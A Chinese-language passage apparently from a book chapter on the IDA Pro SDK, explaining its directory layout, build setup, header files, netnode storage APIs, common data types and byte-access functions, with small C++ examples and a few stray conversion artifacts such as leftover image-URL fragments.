此目录包含多个子目录,这些子目录又包含构建各种 IDA 模块所需的链接库。子目录以应使用的编译器命名。例如,x86_win_vc_32(6.1 及以后版本)或 vc.w32(6.0 及以前版本)包含用于 Windows 上 Visual Studio 和 32 位 IDA 的库,而 x64_mac_gcc_64(6.1 及以后版本)或 gcc64.mac64(6.0 及以前版本)包含用于 OSX 平台上 64 位 IDA 的库。

module 目录

此目录包含几个示例处理器模块的源代码和构建脚本。处理器模块的 README 文件不过是此目录内容的概述。

插件目录

此目录包含几个示例插件模块的源代码和构建脚本。插件的 README 文件提供了插件架构的高级概述。

顶层目录

SDK 的顶层包含用于构建模块的几个 make 文件以及 SDK 的主要 readme.txt 文件。几个额外的 install_xxx.txt 文件包含有关各种编译器(例如,install_visual.txt 讨论了 Visual Studio 配置)的安装和配置信息。

请记住,关于使用 SDK 的文档很少。对于大多数开发者来说,对 SDK 的了解是通过试错和广泛探索 SDK 内容得来的。你可以在 Hex-Rays 支持论坛的Research & Resources论坛上发帖提问,那里熟悉 SDK 的其他 IDA 用户可能会回答你的问题。一本优秀的第三方资源,介绍了 SDK 和插件编写,是 Steve Micallef 的指南,标题为IDA Plug-in Writing in C/C++。^[[115]

配置构建环境

使用 SDK 的一个更令人沮丧的方面与编程无关。相反,你可能发现,编写一个解决问题的方案相对容易,但最终发现几乎不可能成功构建你的模块。这是因为支持单个代码库的广泛编译器可能很困难,而编写解决方案的复杂性又因 Windows 编译器识别的库文件格式通常不兼容而加剧。

SDK 中包含的所有示例都是为使用 Borland 工具构建而创建的。从install_make.txt中,我们可以找到 Ilfak 的以下引言:

只有使用 Borland C++ CBuilder v4.0 才能创建 WIN32 版本。可能旧的 BCC v5.2 也能用,但我还没有验证过。

话虽如此,其他install_xxx文件提供了如何使用其他编译器成功构建模块的指导。一些示例模块包含用于 Visual Studio 构建的文件(例如,/plugins/vcsample),而install_visual.txt提供了使用 Visual C++ Express 2005 正确配置 SDK 项目的步骤。

为了使用 Unix 风格的工具构建模块,无论是在 Unix 风格的系统(如 Linux)上还是在 MinGW 这样的环境中,SDK 提供了一个名为idamake.pl的脚本,该脚本在启动构建过程之前将 Borland 风格的 make 文件转换为 Unix 风格的 make 文件。这个过程在install_linux.txt中有详细讨论。

注意

SDK 提供的命令行构建脚本期望有一个名为 IDA 的环境变量指向。你可以通过编辑/allmake.mak/allmake.unx来设置此变量,或者通过向你的全局环境添加 IDA 环境变量来设置它。

Steve Micallef 的指南还提供了配置构建环境的优秀说明,用于使用各种编译器构建插件。我们个人在为 IDA 的 Windows 版本构建 SDK 模块时,更喜欢使用 MinGW 工具 gcc 和 make。在第十七章(Chapter 17. The IDA Plug-in Architecture)、第十八章(Chapter 18. Binary Files and IDA Loader Modules)和第十九章(Chapter 19. IDA Processor Modules)中提供的示例包括不依赖于 SDK 中包含的任何构建脚本的 makefiles 和 Visual Studio 项目文件,并且易于修改以满足您项目的需求。每个章节也将讨论特定模块的构建配置。


^([114]) 阻塞操作是指导致程序停止执行,等待操作完成的动作。

^([115]) 查看 www.binarypool.com/idapluginwriting/

IDA 应用程序编程接口

IDA 的 API 由/include中的头文件内容定义。没有单一源索引可用的函数(尽管 Steve Micallef 在他的插件编写指南中收集了一个相当不错的子集)。许多潜在的 SDK 程序员最初发现这个事实很难接受。现实是,对于“我如何使用 SDK 来做x?”这样的问题,永远没有容易找到的答案。回答此类问题的两种主要选项是将问题发布到 IDA 用户论坛,或者通过搜索 API 文档自行尝试回答。你说什么文档?当然,是头文件。诚然,这些文件不是最容易搜索的文档,但它们确实包含了完整的 API 功能集。在这种情况下,grep(或合适的替代品,最好是集成到您的编程编辑器中)是您的朋友。难点在于知道要搜索什么,这并不总是显而易见的。

有几种方法可以尝试缩小 API 搜索的范围。第一种方法是利用您对 IDC 脚本语言的知识,并尝试使用关键字和可能从 IDC 派生的函数名在 SDK 中定位类似的功能。然而——这是一个极其令人沮丧的点——虽然 SDK 可能包含执行与 IDC 函数相同任务的函数,但这些函数的名称很少相同。这导致程序员学习两套 API 调用,一套用于 IDC,一套用于 SDK。为了解决这个问题,附录 B 提供了一个 IDC 函数的完整列表以及执行这些函数的相应 SDK 6.1 操作。

缩小与 SDK 相关搜索的第二种技术是熟悉各种 SDK 头文件的内容及其目的。一般来说,相关函数和关联的数据结构根据功能组分组到头文件中。例如,允许与用户交互的 SDK 函数被分组到kernwin.hpp。当使用grep风格的搜索无法找到所需的特性时,了解哪个头文件与该特性相关将缩小搜索范围,并有望限制需要深入挖掘的文件数量。

头文件概述

虽然 SDK 的readme.txt文件提供了最常用头文件的高级概述,但本节突出了使用这些文件的一些其他有用信息。首先,大多数头文件使用.hpp后缀,而少数使用.h后缀。这很容易在命名要包含在文件中的头文件时导致微不足道的错误。其次,ida.hpp是 SDK 的主要头文件,应包含在所有与 SDK 相关的项目中。第三,SDK 使用预处理指令来阻止对 Hex-Rays 认为危险的功能(如strcpysprintf)的访问。在将ida.hpp包含到自己的文件中之前,请参考USE_DANGEROUS_FUNCTIONS宏以获取这些功能的完整列表。以下是一个示例:

#define USE_DANGEROUS_FUNCTIONS
#include <ida.hpp>

如果未定义USE_DANGEROUS_FUNCTIONS,将导致构建错误,显示dont_use_snprintf是一个未定义的符号(在尝试使用snprintf函数的情况下)。为了补偿限制对这些所谓的危险函数的访问,SDK 为每个函数定义了更安全的等效函数,通常以qstrXXXX函数的形式,如qstrncpyqsnprintf。这些更安全的版本也声明在pro.h中。

类似地,SDK 限制了访问许多标准文件输入/输出变量和函数,如stdinstdoutfopenfwritefprintf。这种限制部分是由于 Borland 编译器的限制。在这里,SDK 也定义了替换函数,形式为qXXX对应函数,如qfopenqfprintf。如果您需要访问标准文件函数,则必须在包含fpro.h(它从kernwin.hpp包含,而kernwin.hpp又从几个其他文件包含)之前定义USE_STANDARD_FILE_FUNCTIONS宏。

在大多数情况下,每个 SDK 头文件都包含对文件目的的简要描述,以及相当详尽的注释,描述了在文件中声明的数据结构和函数。这些注释共同构成了 IDA 的 API 文档。以下是一些常用 SDK 头文件的简要描述。

area.hpp

此文件定义了area_t结构,它表示数据库中地址的连续块。此结构作为基于地址范围概念的几个其他类的基类。通常不需要直接包含此文件,因为它通常包含在定义area_t子类的文件中。

auto.hpp

此文件声明了用于与 IDA 的自动分析器交互的函数。自动分析器在 IDA 忙于处理用户输入事件时执行排队分析任务。

bytes.hpp

此文件声明了用于处理单个数据库字节的函数。在此文件中声明的函数用于读取和写入单个数据库字节以及操作这些字节的特征。一些杂项函数还提供对与指令操作数相关的标志的访问,而其他函数允许操作常规和可重复的注释。

dbg.hpp

此文件声明了提供对 IDA 调试器程序控制功能的函数。

entry.hpp

此头文件声明了用于处理文件入口点的函数。对于共享库,每个导出的函数或数据值都被视为入口点。

expr.hpp

此文件声明了用于处理 IDC 构造的函数和数据结构。可以修改现有的 IDC 函数,添加新的 IDC 函数,或从模块内部执行 IDC 语句。

fpro.h

此文件包含之前讨论过的替代文件 I/O 函数,如qfopen

frame.hpp

此头文件包含用于操作堆栈帧的函数。

funcs.hpp

此头文件包含用于处理反汇编函数以及用于处理 FLIRT 签名的函数和数据结构。

gdl.hpp

此文件声明了使用 DOT 或 GDL 生成图的辅助例程。

ida.hpp

这是使用 SDK 所需的主要头文件。此文件包含idainfo结构的定义以及全局变量inf的声明,该变量包含有关当前数据库的信息的多个字段,以及从配置文件设置初始化的字段。

idp.hpp

此文件包含形成处理器模块基础的结构的声明。描述当前处理器模块的全局变量ph和描述当前汇编器的全局变量ash在此文件中定义。

kernwin.hpp

此文件声明了与用户和用户界面交互的函数。这里声明了 IDC 的AskXXX函数的 SDK 等效函数,以及用于设置显示位置和配置热键关联的函数。

lines.hpp

此文件声明了用于生成格式化、着色反汇编行的函数。

loader.hpp

此文件包含用于创建加载模块和插件模块所需的 loader_tplugin_t 结构的声明,以及在文件加载阶段有用的函数以及激活插件的函数。

name.hpp

此文件声明了用于操作命名位置(与结构或堆栈帧中的名称相对,分别由 stuct.hppfuncs.hpp 覆盖)的函数。

netnode.hpp

Netnodes 是通过 API 可访问的最底层存储结构。Netnodes 的详细信息通常被 IDA 用户界面隐藏。此文件包含 netnode 类的定义以及用于低级操作 netnodes 的函数。

pro.h

此文件包含任何 SDK 模块中所需的顶层 typedefs 和宏。您不需要在项目中显式包含此文件,因为它是从 ida.hpp 中包含的。此外,此文件中定义了 IDA_SDK_VERSION 宏。IDA_SDK_VERSION 提供了一种确定模块正在使用哪个 SDK 版本的方法,并且可以在使用不同版本的 SDK 时进行测试,以提供条件编译。请注意,IDA_SDK_VERSION 是从 SDK 版本 5.2 引入的。在 SDK 5.2 之前,没有官方的方法来确定正在使用哪个 SDK。一个非官方的头文件(sdk_versions.h),它为旧版本的 SDK 定义了 IDA_SDK_VERSION,可在本书的网站上找到。

search.hpp

此文件声明了在数据库上执行不同类型搜索的函数。

segment.hpp

此文件包含 segment_t 类的声明,它是 area_t 的子类,用于描述二进制文件中的单个部分(如 .text.data 等)。还在此声明了用于处理段面的函数。

struct.hpp

此文件包含 struc_t 类的声明以及用于在数据库中操作结构的函数。

typeinf.hpp

此文件声明了用于处理 IDA 类型库的函数。其中,此处声明的函数提供了对函数签名的访问,包括函数返回类型和参数序列。

ua.hpp

此文件声明了在处理器模块中广泛使用的 op_tinsn_t 类。还在此声明了用于反汇编单个指令和为每行反汇编的不同部分生成文本的函数。

xref.hpp

此文件声明了添加、删除和迭代代码和数据交叉引用所需的 datatypes 和函数。

上述列表描述了与 SDK 一起提供的头文件的大约一半。我们鼓励您不仅熟悉列表中的文件,还要熟悉 SDK 中所有其他头文件,因为您在深入研究 SDK 时,会用到这些文件。构成已发布 API 的函数被标记为 ida_export。只有被指定为 ida_export 的函数才会被包含在 SDK 一起提供的链接库中。不要被 idaapi 的使用所误导,因为它仅仅表示该函数在 Windows 平台上将使用 stdcall 调用约定。您可能会偶尔遇到一些看起来很有趣但未指定为 ida_export 的函数;您不能在您的模块中使用这些函数。

Netnodes

IDA 的 API 的大部分都是围绕 C++ 类构建的,这些类模拟了解析二进制文件的各个方面。另一方面,netnode 类似乎被神秘地包裹着,因为它似乎与二进制文件中的结构(段、函数、指令等)没有直接关系。

Netnodes 是在 IDA 数据库中可访问的最低级和最通用的数据存储机制。作为一个模块程序员,您很少需要直接与 netnodes 一起工作。许多高级数据结构隐藏了它们最终依赖于 netnodes 在数据库中进行持久存储的事实。在文件 nalt.hpp 中详细介绍了 netnodes 在数据库中的使用方式,例如,我们了解到关于二进制导入的共享库和函数的信息存储在一个名为 import_node 的 netnode 中(是的,netnodes 可以有名称)。Netnodes 也是 IDC 的全局数组所使用的持久存储机制。

文件 netnode.hpp 中详细描述了 Netnodes。但从高层次的角度来看,netnodes 是 IDA 内部用于各种目的的存储结构。然而,它们的精确结构被隐藏起来,即使是 SDK 程序员也无法得知。为了提供对这些存储结构的接口,SDK 定义了一个 netnode 类,它作为内部存储结构的不可见包装器。netnode 类包含一个名为 netnodenumber 的单一数据成员,它是一个整数标识符,用于访问 netnode 的内部表示。每个 netnode 都通过其 netnodenumber 唯一标识。在 32 位系统上,netnodenumber 是一个 32 位量,允许有 2³² 个唯一的 netnodes。在 64 位系统上,netnodenumber 是一个 64 位整数,允许有 2⁶⁴ 个唯一的 netnodes。在大多数情况下,netnodenumber 代表数据库中的一个虚拟地址,这就在数据库中的每个地址和可能需要存储与该地址相关信息的任何 netnode 之间创建了一种自然映射。注释文本是可能与地址相关联的任意信息的一个例子,因此它被存储在与之相关的 netnode 中。

操作网节点的推荐方法是调用netnode类的成员函数,使用实例化的netnode对象。阅读netnode.hpp,你会注意到存在一些非成员函数,似乎支持对网节点的操作。建议使用成员函数而不是这些函数。然而,你会注意到netnode类中的大多数成员函数都是围绕一个非成员函数的薄包装。

在内部,网节点可以用来存储几种不同类型的信息。每个网节点可以关联一个最多 512 个字符的名称和一个最多 1,024 字节的主要值。netnode类的成员函数提供了检索(name)或修改(rename)网节点名称的功能。其他成员函数允许你将网节点的主要值视为整数(set_long, long_value)、字符串(set, valstr)或任意二进制 blob^([116])(set, valobj)。使用的函数本身决定了如何处理主要值。

这里事情变得有些复杂。除了名称和主要值之外,每个netnode还能够存储 256 个稀疏数组,其中数组元素可以任意大小,每个元素的最大值可达 1,024 字节。这些数组分为三个重叠的类别。第一个类别的数组使用 32 位索引值进行索引,可以潜在地存储超过 40 亿个条目。第二个类别的数组使用 8 位索引值进行索引,因此可以存储多达 256 个条目。最后一个类别的数组实际上是使用字符串作为键的哈希表。无论使用哪三个类别,数组的每个元素都将接受大小最多为 1,024 字节的值。简而言之,网节点可以存储大量的数据——现在我们只需要学习如何让它发生。

如果你想知道所有这些信息都存储在哪里,你并不孤单。所有网节点内容都存储在 IDA 数据库中的 btree 节点内。btree 节点反过来又存储在 ID0 文件中,当你关闭数据库时,这些文件会被存档到 IDB 文件中。你创建的任何网节点内容都不会在 IDA 的任何显示窗口中可见;数据由你自己随意操作。这就是为什么网节点是存储任何插件和脚本的理想位置,这些插件和脚本可以用来存储从一次调用到下一次调用的结果。

创建网节点

关于网节点的一个可能令人困惑的点是在你的模块中声明netnode变量并不一定在数据库内部创建该网节点的内部表示。网节点只有在以下事件之一发生时才会内部创建:

  • 网节点被分配了一个名称。

  • 网节点被分配了一个主要值。

  • 值被存储到网节点的内部数组之一。

在您的模块中声明 netnodes 有三个构造函数可用。每个的原型,从 netnode.hpp 中提取,以及它们的使用示例,显示在 示例 16-1 中。

示例 16-1. 声明 netnodes

#ifdef __EA64__
  typedef ulonglong nodeidx_t;
  #else
  typedef ulong nodeidx_t;
  #endif
  class netnode {
    netnode();
    netnode(nodeidx_t num);
    netnode(const char *name, size_t namlen=0, bool do_create=false);
    bool create(const char *name, size_t namlen=0);
    bool create();
     //... remainder of netnode class follows
  };
  netnode n0;                       //uses
  netnode n1(0x00401110);           //uses
  netnode n2("$ node 2");           //uses
  netnode n3("$ node 3", 0, true);  //uses

在本例中,只有一个 netnode (n3) 在代码执行后保证存在于数据库中。如果之前已创建并填充了数据,则 netnodes n1n2 可能存在。在此点,n1 能够接收新数据。如果 n2 不存在,意味着在数据库中找不到名为 $ node 2 的 netnode,那么在将数据存储到其中之前,必须显式创建 n2 ()。如果我们想保证能够将数据存储到 n2 中,我们需要添加以下安全检查:

if (BADNODE == (nodeidx_t)n2) {
   n2.create("$ node 2");
}

前面的示例演示了使用 nodeidx_t 操作符,它允许将 netnode 转换为 nodeidx_tnodeidx_t 操作符简单地返回相关 netnode 的 netnodenumber 数据成员,并允许将 netnode 变量轻松转换为整数。

关于 netnodes,一个需要理解的重要点是,在您可以将数据存储到 netnode 中之前,netnode 必须 有一个有效的 netnodenumbernetnodenumber 可以显式分配,如 n1 通过在先前的示例中显示的构造函数 ()。或者,当使用构造函数中的 create 标志创建 netnode 时,netnodenumber 可以内部生成(如 n3 通过在先前的示例中显示的构造函数 ()),或者通过 create 函数(如 n2)。内部分配的 netnodenumbers0xFF000000 开头,并随着每个新创建的 netnode 而递增。

到目前为止,我们在示例中忽略了 netnode n0。就目前情况而言,n0 既没有编号也没有名称。我们可以通过使用与 n2 类似的 create 函数按名称创建 n0。或者,我们可以使用 create 的另一种形式创建一个无名称的 netnode,它具有有效的、内部生成的 netnodenumber,如下所示:

n0.create();  //assign an internally generated netnodenumber to n0

在这一点上,可以将数据存储到 n0 中,尽管我们没有方法在未来检索这些数据,除非我们将分配的 netnodenumber 记录在某个地方或给 n0 赋予一个名称。这证明了这样一个事实:当 netnodes 与虚拟地址相关联时(类似于我们示例中的 n1),它们很容易访问。对于所有其他 netnodes,赋予一个名称使得能够执行对 netnode 的命名查找(如我们示例中的 n2n3)。

注意,对于我们的命名 netnode,我们选择使用以“$”为前缀的名称,这与在netnode.hpp中推荐的实践一致,以避免与 IDA 内部使用的名称冲突。

Netnode 中的数据存储

现在你已经了解了如何创建可以存储数据的 netnode,让我们回到对 netnode 内部数组存储能力的讨论。要将值存储到 netnode 内的数组中,我们需要指定五条信息:一个索引值、一个索引大小(8 位或 32 位)、要存储的值、值包含的字节数,以及要存储值的数组(每个数组类别有 256 个可供选择)。索引大小参数由我们用于存储或检索数据的函数隐式指定。其余值作为参数传递给该函数。选择将值存储在 256 个可能的数组中的参数通常称为tag,通常使用一个字符指定(尽管不必须)。netnode 文档区分了几种特殊类型的值,称为altvalssupvalshashvals。默认情况下,这些值通常与特定的数组标签相关联:'A'用于 altvals,'S'用于 supvals,'H'用于 hashvals。第四种类型的值,称为charval,不与任何特定的数组标签相关联。

重要的是要理解,这些值类型更多地与将数据存储到 netnode 的特定方式相关,而不是与 netnode 中的特定数组相关。通过指定存储数据时的备用数组标签,可以在任何数组中存储任何类型的值。在所有情况下,你必须记住你将哪种类型的数据存储到特定的数组位置,以便你可以使用适合存储数据类型的检索方法。

Altvals为在 netnode 中存储和检索整数数据提供了一个简单的接口。Altvals 可以存储在 netnode 中的任何数组中,但默认为'A'数组。无论你希望将整数存储到哪个数组中,使用与 altval 相关的函数都可以大大简化问题。示例 16-2 中的代码演示了使用 altvals 进行数据存储和检索。

示例 16-2. 访问 netnode altvals

netnode n("$ idabook", 0, true);  //create the netnode if it doesn't exist
sval_t index = 1000;  //sval_t is a 32 bit type, this example uses 32-bit indexes
ulong value = 0x12345678;
n.altset(index, value);   //store value into the 'A' array at index
value = n.altval(index);  //retrieve value from the 'A' array at index
n.altset(index, value, (char)3);  //store into array 3
value = n.altval(index, (char)3); //read from array 3

在这个例子中,你看到的是一个模式,这个模式将在其他类型的 netnode 值中重复出现,即使用一个XXXset函数(在这个例子中,altset)将值存储到 netnode 中,以及一个XXXval函数(在这个例子中,altval)从 netnode 中检索值。如果我们想使用 8 位索引值将整数存储到数组中,我们需要使用稍微不同的函数,如下一个例子所示。

netnode n("$ idabook", 0, true);
uchar index = 80;      //this example uses 8-bit index values
ulong value = 0x87654321;
n.altset_idx8(index, value, 'A');  //store, no default tags with xxx_idx8 functions
value = n.altval_idx8(index, 'A'); //retrieve value from the 'A' array at index
n.altset_idx8(index, value, (char)3);  //store into array 3
value = n.altval_idx8(index, (char)3); //read from array 3

你可以看到,使用 8 位索引值的一般规则是使用带有 _idx8 后缀的函数。请注意,没有任何 _idx8 函数为数组标签参数提供默认值。

Supvals 代表在 netnodes 中存储和检索数据最灵活的方式。Supvals 可以表示任意大小的数据,从 1 字节到最多 1,024 字节。当使用 32 位索引值时,存储和检索 supvals 的默认数组是 'S' 数组。然而,再次强调,通过指定适当的数组标签值,supvals 可以存储到 256 个可用数组中的任何一个。字符串是任意长度数据的常见形式,因此在 supval 操作函数中得到了特殊处理。示例 16-3 中的代码提供了将 supvals 存储到 netnode 中的示例。

示例 16-3. 存储 netnode supvals

netnode n("$ idabook", 0, true);  //create the netnode if it doesn't exist

char *string_data = "example supval string data";
char binary_data[] = {0xfe, 0xdc, 0x4e, 0xc7, 0x90, 0x00, 0x13, 0x8a,
                      0x33, 0x19, 0x21, 0xe5, 0xaa, 0x3d, 0xa1, 0x95};

//store binary_data into the 'S' array at index 1000, we must supply a
//pointer to data and the size of the data
n.supset(1000, binary_data, sizeof(binary_data));

//store string_data into the 'S' array at index 1001\.  If no size is supplied,
//or size is zero, the data size is computed as: strlen(data) + 1
n.supset(1001, string_data);
//store into an array other than 'S' (200 in this case) at index 500
n.supset(500, binary_data, sizeof(binary_data), (char)200);

supset 函数需要一个数组索引、指向某些数据的指针、数据的长度(以字节为单位),以及默认为 'S' 的数组标签(如果省略)。如果省略长度参数,它默认为零。当指定长度为零时,supset 假设要存储的数据是字符串,计算数据的长度为 strlen(data) + 1,并存储一个空终止字符以及字符串数据。

从 supval 中检索数据需要一点小心,因为在尝试检索之前,你可能不知道 supval 中包含的数据量。当你从 supval 中检索数据时,字节会被从 netnode 复制到用户提供的输出缓冲区。你如何确保你的输出缓冲区足够大,以接收 supval 数据?第一种方法是检索所有 supval 数据到一个至少 1,024 字节的缓冲区。第二种方法是预先设置输出缓冲区的大小,通过查询 supval 的大小。有两个函数可用于检索 supvals。supval 函数用于检索任意数据,而 supstr 函数专门用于检索字符串数据。这些函数都期望一个指向你的输出缓冲区的指针以及缓冲区的大小。supval 的返回值是复制到输出缓冲区的字节数,而 supstr 的返回值是复制到输出缓冲区的字符串长度,不包括空终止符,尽管空终止符也被复制到缓冲区。这些函数都识别在输出缓冲区指针的位置提供一个 NULL 指针的特殊情况。在这种情况下,supvalsupstr 返回存储 supval 数据所需的字节数(包括任何空终止符)。示例 16-4 展示了使用 supvalsupstr 函数检索 supval 数据。

示例 16-4. 检索 netnode supvals

//determine size of element 1000 in 'S' array.  The NULL pointer indicates
//that we are not supplying an output buffer
int len = n.supval(1000, NULL, 0);

char *outbuf = new char[len];  //allocate a buffer of sufficient size
n.supval(1000, outbuf, len);   //extract data from the supval

//determine size of element 1001 in 'S' array.  The NULL pointer indicates
//that we are not supplying an output buffer.
len = n.supstr(1001, NULL, 0);

char *outstr = new char[len];  //allocate a buffer of sufficient size
n.supval(1001, outstr, len);   //extract data from the supval

//retrieve a supval from array 200, index 500
char buf[1024];
len = n.supval(500, buf, sizeof(buf), (char)200);

使用 supvals,可以访问 netnode 中任何数组存储的数据。例如,可以通过限制 supset 和 supval 操作的大小到 altval 的大小,使用 supval 函数存储和检索 altval 数据。通过阅读netnode.hpp,你会看到这确实如此,通过观察altset函数的内联实现,如下所示:

bool altset(sval_t alt, nodeidx_t value, char tag=atag) {
   return supset(alt, &value, sizeof(value), tag);
}

Hashvals提供了另一种访问 netnodes 的接口。与整数索引关联不同,hashvals 与键字符串关联。hashset函数的重载版本使得将整数数据或数组数据与哈希键关联变得容易,而hashvalhashstrhashval_long函数允许在提供适当的哈希键时检索 hashvals。与hashXXX函数关联的标签值实际上选择 256 个哈希表中的一个,默认表为'H'。通过指定不同于'H'的标签来选择备用表。

我们将要提到的最后一个与 netnodes 的接口是charval接口。charvalcharset函数提供了一种简单的方法将单字节数据存储到 netnode 数组中。与 charval 存储和检索没有关联默认数组,因此你必须为每个 charval 操作指定一个数组标签。Charvals 存储在与 altvals 和 supvals 相同的数组中,而 charval 函数只是 1 字节 supvals 的包装。

netnode类提供的另一个功能是能够迭代 netnode 数组(或哈希表)的内容。迭代是通过可用于 altvals、supvals、hashvals 和 charvals 的XXX1stXXXnxtXXXlastXXXprev函数来执行的。示例示例 16-5 说明了跨默认 altvals 数组('A')的迭代。

对 supvals、charvals 和 hashvals 的迭代以非常相似的方式进行;然而,你会发现语法取决于访问的值类型。例如,对 hashvals 的迭代返回 hashkeys 而不是数组索引,然后必须使用这些索引来检索 hashvals。

示例 16-5. 枚举 netnode altvals

netnode n("$ idabook", 0, true);
//Iterate altvals first to last
for (nodeidx_t idx = n.alt1st(); idx != BADNODE; idx = n.altnxt(idx)) {
   ulong val = n.altval(idx);
   msg("Found altval['A'][%d] = %d\n", idx, val);
}

//Iterate altvals last to first
for (nodeidx_t idx = n.altlast(); idx != BADNODE; idx = n.altprev(idx)) {
   ulong val = n.altval(idx);
   msg("Found altval['A'][%d] = %d\n", idx, val);
}

NETNODES AND IDC GLOBAL ARRAYS

你可能还记得第十五章中提到的,IDC 脚本语言提供了持久的全局数组。Netnodes 为 IDC 全局数组提供支持存储。当你向 IDC CreateArray函数提供一个名称时,字符串$ idc_array会被添加到你提供的名称之前,形成 netnode 名称。新创建的 netnode 的netnodenumber作为 IDC 数组标识符返回给你。IDC SetArrayLong函数将整数存储到 altvals('A')数组中,而SetArrayString函数将字符串存储到 supvals('S')数组中。当你使用GetArrayElement函数从 IDC 数组中检索值时,你提供的标签(AR_LONG or AR_STR)代表用于存储相应整数或字符串数据的 altval 和 supval 数组。

附录 B 提供了关于在 IDC 函数实现中使用 netnodes 的额外见解,并揭示了 netnodes 是如何在数据库中用于存储各种类型的信息(如注释)的。

删除 Netnodes 和 Netnode 数据

netnode类还提供了用于删除单个数组元素、整个数组内容或整个 netnode 内容的函数。删除整个 netnode 相对直接。

netnode n("$ idabook", 0, true);
n.kill();                        //entire contents of n are deleted

当删除单个数组元素或整个数组内容时,你必须小心选择正确的删除函数,因为函数的名称非常相似,选择错误的形式可能会导致数据的大量丢失。以下是一些注释示例,展示了如何删除 altvals:

netnode n("$ idabook", 0, true);
 n.altdel(100);       //delete item 100 from the default altval array ('A')
  n.altdel(100, (char)3); //delete item 100 from altval array 3
 n.altdel();          //delete the entire contents of the default altval array
  n.altdel_all('A');      //alternative to delete default altval array contents
  n.altdel_all((char)3);  //delete the entire contents of altval array 3;

注意删除默认 altval 数组全部内容的语法与删除默认 altval 数组单个元素的语法相似 httpatomoreillycomsourcenostarchimages854061.pnghttpatomoreillycomsourcenostarchimages854063.png。如果你在想要删除单个元素时未能指定索引,你可能会删除整个数组。类似的函数也存在于删除 supval、charval 和 hashval 数据。

有用的 SDK 数据类型

IDA 的 API 定义了多个 C++类,旨在模拟可执行文件中通常找到的组件。SDK 包含用于描述函数、程序部分、数据结构、单个汇编语言指令以及每个指令中的单个操作数的类。还定义了额外的类来实现 IDA 用于管理反汇编过程的工具。属于后一类的类定义了通用数据库特性、加载模块特性、处理器模块特性和插件模块特性,并定义了用于每个反汇编指令的汇编语法。

在这里描述了一些更常见的通用类。关于更特定于插件、加载器和处理器模块的类的讨论将推迟到涵盖这些主题的适当章节。我们的目标是介绍类、它们的目的以及每个类的一些重要数据成员。用于操作每个类的有用函数在常用 SDK 函数中描述,见常用 SDK 函数。

area_t (area.hpp)

此结构体描述了一个地址范围,是其他几个类的基类。该结构体包含两个数据成员,startEA(包含)和endEA(排除),它们定义了地址范围的边界。定义了成员函数来计算地址范围的大小,并且可以在两个区域之间执行比较。

func_t (funcs.hpp)

此类从 area_t 继承。为记录函数的二进制属性(例如,函数是否使用帧指针)以及描述函数的局部变量和参数的属性添加了额外的数据字段。为了优化目的,一些编译器可能会将函数拆分为二进制内的几个非连续区域。IDA 将这些区域称为尾部func_t 类也用于描述尾部块。

segment_t (segment.hpp)

segment_t 类是 area_t 的另一个子类。额外的数据字段描述了段名称、段内的权限(可读、可写、可执行)、段类型(代码、数据等),以及段地址中使用的位数(16、32 或 64)。

idc_value_t (expr.hpp)

此类描述了 IDC 值的内容,该值在任何时候都可能包含一个字符串、一个整数或一个浮点数。在与编译模块内的 IDC 函数交互时,类型被广泛使用。

idainfo (ida.hpp)

此结构体填充了描述打开数据库的特征。在 ida.hpp 中声明了一个名为 inf 的全局变量,其类型为 idainfo。此结构体中的字段描述了正在使用的处理器模块的名称、输入文件类型(例如通过 filetype_t 枚举的 f_PEf_MACHO)、程序入口点(beginEA)、二进制中的最小地址(minEA)、二进制中的最大地址(maxEA)、当前处理器的字节序(mf),以及从 ida.cfg 解析的配置设置数量。

struc_t (struct.hpp)

这个类描述了反汇编中结构化数据的布局。它用于描述结构窗口中的结构以及描述函数栈帧的组成。一个struc_t包含描述结构属性(例如,它是否是结构或联合,或者结构在 IDA 显示窗口中是折叠还是展开)的标志,并且它还包含一个结构成员数组。

member_t (struct.hpp)

这个类描述了结构化数据类型中的一个单个成员。包含的数据字段描述了成员在其父结构中开始和结束的字节偏移量。

op_t (ua.hpp)

这个类描述了反汇编指令中的一个操作数。该类包含一个基于零的字段来存储操作数的编号(n),一个操作数类型字段(type),以及一些其他字段,其含义取决于操作数类型。type字段被设置为在 ua.hpp 中定义的 optype_t 常量之一,并描述了操作数类型或用于操作数的寻址模式。

insn_t (ua.hpp)

这个类包含描述单个反汇编指令的信息。类内的字段描述了指令在反汇编中的地址(ea),指令的类型(itype),指令的字节长度(size),以及一个包含六个可能的操作数值(Operands)的数组,这些值是类型 op_t(IDA 将每个指令限制为最多六个操作数)。itype字段由处理器模块设置。对于标准的 IDA 处理器模块,itype字段被设置为在 allins.hpp 中定义的枚举常量之一。当使用第三方处理器模块时,必须从模块开发者那里获取潜在的itype值列表。请注意,itype字段通常与指令的二进制操作码没有任何关系。

前面的列表绝不是 SDK 中使用的所有数据类型的 definitive 指南。此列表仅作为介绍一些常用类以及这些类中一些常用字段的目的。

常用 SDK 函数

虽然 SDK 是用 C++编写的并定义了许多 C++类,但在许多情况下,SDK 更倾向于使用传统的 C 风格的非成员函数来操作数据库中的对象。对于大多数 API 数据类型,更常见的是找到需要指向对象的指针的非成员函数,而不是找到可以按您希望的方式操作对象的成员函数。

在以下摘要中,我们介绍了提供与第十五章中介绍的许多 IDC 函数类似功能的 API 函数。不幸的是,执行相同任务的函数在 IDC 和 API 中命名不同。

基本数据库访问

bytes.hpp 中声明的以下函数提供了对数据库中单个字节、字和双字的访问。

uchar get_byte(ea_t addr) 从虚拟地址 addr 读取当前字节值。
ushort get_word(ea_t addr) 从虚拟地址 addr 读取当前字值。
ulong get_long(ea_t addr) 从虚拟地址 addr 读取当前双字值。
get_many_bytes(ea_t addr, void *buffer, ssize_t len)addr 复制 len 个字节到提供的缓冲区。
patch_byte(ea_t addr, ulong val) 在虚拟地址 addr 设置字节值。
patch_word(long addr, ulonglong val) 在虚拟地址 addr 设置字值。
patch_long(long addr, ulonglong val) 在虚拟地址 addr 设置双字值。
patch_many_bytes(ea_t addr, const void *buffer, size_t len) 使用用户提供的 buffer 中的 len 个字节从 addr 开始修补数据库。
ulong get_original_byte(ea_t addr) 从虚拟地址 addr 读取原始字节值(补丁之前)。
ulonglong get_original_word(ea_t addr) 从虚拟地址 addr 读取原始字值。
ulonglong get_original_long(ea_t addr) 从虚拟地址 addr 读取原始双字值。
bool isLoaded(ea_t addr) 如果 addr 包含有效数据则返回 true,否则返回 false。

